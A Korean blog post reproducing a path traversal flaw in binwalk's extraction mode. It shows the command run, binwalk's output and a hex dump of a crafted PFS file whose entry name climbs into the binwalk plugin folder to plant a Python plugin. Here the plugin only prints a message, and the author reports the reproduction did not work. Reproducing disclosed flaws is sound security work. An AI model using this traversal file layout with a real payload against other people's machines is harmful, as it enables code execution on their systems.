반응형
설명
버전 2.1.2b ~ 2.3.2 까지의 ReFirm Labs binwalk에서 경로 탐색 취약점이 확인 되었다.
이 취약점을 통해 원격 공격자는 영향을 받는 binwalk 설치에서 임의 코드를 실행 할 수 있다.
“-e : 대상이 추출 모드(옵션)를 사용하여, binwalk로 악성 파일을 열어야 한다.”는 점에서 이 취약점을 악용하려면 사용자 상호 작용이 필요합니다 .
테스트 환경
- MacOS Ventura 3.1
- Homebrew로 설치한 Binwalk v2.3.3
테스트 과정
- binwalk -e -M poc.zip
babyhack@MacBookPro> binwalk -e -M poc.zip
Scan Time: 2023-02-01 20:30:54
Target File: /Users/babyhack/Downloads/poc.zip
MD5 Checksum: 4fdad30c7c1b4915938b5ad2786f5bf8
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 170, uncompressed size: 349, name: malicious.pfs
324 0x144 End of Zip archive, footer length: 22
Scan Time: 2023-02-01 20:30:54
Target File: /Users/babyhack/Downloads/_poc.zip.extracted/malicious.pfs
MD5 Checksum: 9a12bccad3db3ed8b818a31846d5976f
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PFS filesystem, version 0.9, 1 files
malicious.pfs 파일 내용
babyhack@MacBookPro> xxd malicious.pfs
00000000: 5046 532f 302e 3900 0000 0000 0000 0100 PFS/0.9.........
00000010: 2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967 ../../../.config
00000020: 2f62 696e 7761 6c6b 2f70 6c75 6769 6e73 /binwalk/plugins
00000030: 2f6d 616c 7761 6c6b 2e70 7900 0000 0000 /malwalk.py.....
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 3412 0000 a000 0000 c100 0000 696d 706f 4...........impo
000000a0: 7274 2062 696e 7761 6c6b 2e63 6f72 652e rt binwalk.core.
000000b0: 706c 7567 696e 0a0a 636c 6173 7320 4d61 plugin..class Ma
000000c0: 6c69 6369 6f75 7345 7874 7261 6374 6f72 liciousExtractor
000000d0: 2862 696e 7761 6c6b 2e63 6f72 652e 706c (binwalk.core.pl
000000e0: 7567 696e 2e50 6c75 6769 6e29 3a0a 2020 ugin.Plugin):.
000000f0: 2020 2222 220a 2020 2020 4d61 6c69 6369 """. Malici
00000100: 6f75 7320 6269 6e77 616c 6b20 706c 7567 ous binwalk plug
00000110: 696e 0a20 2020 2022 2222 0a0a 2020 2020 in. """..
00000120: 6465 6620 696e 6974 2873 656c 6629 3a0a def init(self):.
00000130: 2020 2020 2020 2020 7072 696e 7428 2268 print("h
00000140: 656c 6c6f 2066 726f 6d20 6d61 6c69 6369 ello from malici
00000150: 6f75 7320 706c 7567 696e 2229 0a ous plugin").
import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
""" Malicious binwalk plugin. """
def init(self):
print("hello from malicious plugin")
결과
- binwalk.core.plugin 파일을 참조할 수 없어 제대로 실행 되지 않음.
- 버전이 맞지 않아서 제대로 실행되지 않을 가능성도 있음.
ref.
- https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk
반응형
'Reverse > 분석 문서' 카테고리의 다른 글
[chatGPT] QEMU (0) | 2023.03.09 |
---|---|
[SECCON2016] Forensic 100 write up (0) | 2016.12.12 |
[Adware] 광고 조회 프로그램 (0) | 2016.06.23 |
[WinDbg 따라하기 - 0x00A] crash 파일 분석 하기 (0) | 2014.03.13 |
[WinDbg 따라하기 - 0x009] Interrupt 확인 하기 (0) | 2014.03.10 |